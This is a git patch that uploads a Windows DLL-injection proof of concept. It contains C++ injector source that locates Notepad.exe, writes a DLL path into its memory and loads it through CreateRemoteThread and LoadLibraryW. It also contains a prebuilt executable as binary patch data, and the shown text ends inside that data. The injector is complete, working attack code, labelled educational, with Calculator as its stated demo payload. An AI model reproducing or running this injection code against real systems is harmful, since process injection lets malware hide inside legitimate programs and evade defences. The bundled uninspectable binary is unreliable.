From e8e56764ed5e64708493ee0061035d4eb961fd0c Mon Sep 17 00:00:00 2001 From: Andrea Bocchetti Date: Wed, 16 Jul 2025 17:43:43 +0200 Subject: [PATCH] Add files via upload --- ConsoleApplication5.cpp | 177 ++++++++++++++++++++++++++++++++++++++++ ConsoleApplication5.exe | Bin 0 -> 36864 bytes Dll1.dll | Bin 0 -> 13312 bytes dllmain.cpp | 170 ++++++++++++++++++++++++++++++++++++++ 4 files changed, 347 insertions(+) create mode 100644 ConsoleApplication5.cpp create mode 100644 ConsoleApplication5.exe create mode 100644 Dll1.dll create mode 100644 dllmain.cpp diff --git a/ConsoleApplication5.cpp b/ConsoleApplication5.cpp new file mode 100644 index 0000000..5cd3ce3 --- /dev/null +++ b/ConsoleApplication5.cpp @@ -0,0 +1,177 @@ +// Injector.cpp - Main injection + +#include +#include +#include +#include + +// Function to find process by name +DWORD GetProcessIdByName(const std::wstring& processName) { + DWORD processId = 0; + HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); + + if (hSnapshot != INVALID_HANDLE_VALUE) { + PROCESSENTRY32 pe32; + pe32.dwSize = sizeof(PROCESSENTRY32); + + if (Process32First(hSnapshot, &pe32)) { + do { + if (processName == pe32.szExeFile) { + processId = pe32.th32ProcessID; + break; + } + } while (Process32Next(hSnapshot, &pe32)); + } + CloseHandle(hSnapshot); + } + return processId; +} + +// Function to inject DLL into target process +BOOL InjectDLL(DWORD processId, const std::wstring& dllPath) { + std::wcout << L"[>] Starting DLL injection into PID: " << processId << std::endl; + + // Open target process + HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId); + if (!hProcess) { + std::wcout << L"[-] Failed to open process. Error: " << GetLastError() << std::endl; + return FALSE; + } + + // Calculate DLL path size + SIZE_T dllPathSize = (dllPath.length() + 1) * sizeof(wchar_t); + + // Allocate memory in target process + LPVOID remoteMemory = VirtualAllocEx(hProcess, NULL, dllPathSize, + MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (!remoteMemory) { + std::wcout << L"[-] Failed to allocate memory in target process. Error: " << GetLastError() << std::endl; + CloseHandle(hProcess); + return FALSE; + } + + std::wcout << L"[+] Allocated memory in target process: 0x" << std::hex << remoteMemory << std::dec << std::endl; + + // Write DLL path to target process + if (!WriteProcessMemory(hProcess, remoteMemory, dllPath.c_str(), dllPathSize, NULL)) { + std::wcout << L"[-] Failed to write DLL path to target process. Error: " << GetLastError() << std::endl; + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + return FALSE; + } + + std::wcout << L"[+] DLL path written to target process" << std::endl; + + // Get LoadLibraryW address + HMODULE hKernel32 = GetModuleHandle(L"kernel32.dll"); + FARPROC pLoadLibraryW = GetProcAddress(hKernel32, "LoadLibraryW"); + + if (!pLoadLibraryW) { + std::wcout << L"[-] Failed to get LoadLibraryW address" << std::endl; + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + return FALSE; + } + + // Create remote thread to load DLL + HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, + (LPTHREAD_START_ROUTINE)pLoadLibraryW, + remoteMemory, 0, NULL); + if (!hThread) { + std::wcout << L"[-] Failed to create remote thread. Error: " << GetLastError() << std::endl; + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + return FALSE; + } + + std::wcout << L"[+] Remote thread created successfully" << std::endl; + + // Wait for DLL to load + WaitForSingleObject(hThread, INFINITE); + + // Check if DLL was loaded successfully + DWORD exitCode; + GetExitCodeThread(hThread, &exitCode); + + if (exitCode != 0) { + std::wcout << L"[+] DLL loaded successfully in target process" << std::endl; + } + else { + std::wcout << L"[-] DLL failed to load in target process" << std::endl; + } + + CloseHandle(hThread); + VirtualFreeEx(hProcess, remoteMemory, 0, MEM_RELEASE); + CloseHandle(hProcess); + + return (exitCode != 0); +} + +// Function to get executable directory (where the .exe is located) +std::wstring GetExecutableDir() { + wchar_t buffer[MAX_PATH]; + GetModuleFileName(NULL, buffer, MAX_PATH); + std::wstring exePath(buffer); + + // Find last backslash and remove filename + size_t pos = exePath.find_last_of(L"\\"); + if (pos != std::wstring::npos) { + exePath = exePath.substr(0, pos); + } + + return exePath; +} + +bool FileExists(const std::wstring& filePath) { + DWORD fileAttributes = GetFileAttributes(filePath.c_str()); + return (fileAttributes != INVALID_FILE_ATTRIBUTES); +} + +int main() { + std::wcout << L"=== DLL + Timer Injection PoC ===" << std::endl; + std::wcout << L"Educational/Research Purpose Only" << std::endl << std::endl; + + std::wstring targetProcess = L"Notepad.exe"; + std::wstring dllName = L"TimerDLL.dll"; + + std::wstring executableDir = GetExecutableDir(); + std::wstring dllPath = executableDir + L"\\" + dllName; + + std::wcout << L"[>] Target process: " << targetProcess << std::endl; + std::wcout << L"[>] DLL path: " << dllPath << std::endl; + + if (!FileExists(dllPath)) { + std::wcout << L"[-] " << dllName << L" not found in current directory" << std::endl; + std::wcout << L"[-] Please compile " << dllName << L" first" << std::endl; + std::wcout << L"[>] Press Enter to exit..." << std::endl; + std::wcin.get(); + return -1; + } + + // Find target process + DWORD processId = GetProcessIdByName(targetProcess); + if (processId == 0) { + std::wcout << L"[-] Target process not found. Please start " << targetProcess << L" first" << std::endl; + std::wcout << L"[>] Press Enter to exit..." << std::endl; + std::wcin.get(); + return -1; + } + + std::wcout << L"[+] Found target process PID: " << processId << std::endl; + + // Inject DLL + if (InjectDLL(processId, dllPath)) { + std::wcout << L"[+] Injection completed successfully" << std::endl; + std::wcout << L"[+] Timer-based execution should occur in target process" << std::endl; + std::wcout << L"[+] Check C:\\temp\\timer_log.txt for execution logs" << std::endl; + std::wcout << L"[+] Calculator should appear in ~3 seconds" << std::endl; + } + else { + std::wcout << L"[-] Injection failed" << std::endl; + } + + std::wcout << L"[>] Press Enter to exit..." << std::endl; + std::wcin.get(); + + return 0; +} \ No newline at end of file diff --git a/ConsoleApplication5.exe b/ConsoleApplication5.exe new file mode 100644 index 0000000000000000000000000000000000000000..9936d032cad46395ec322baa29f2d93297c9540e GIT binary patch literal 36864 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 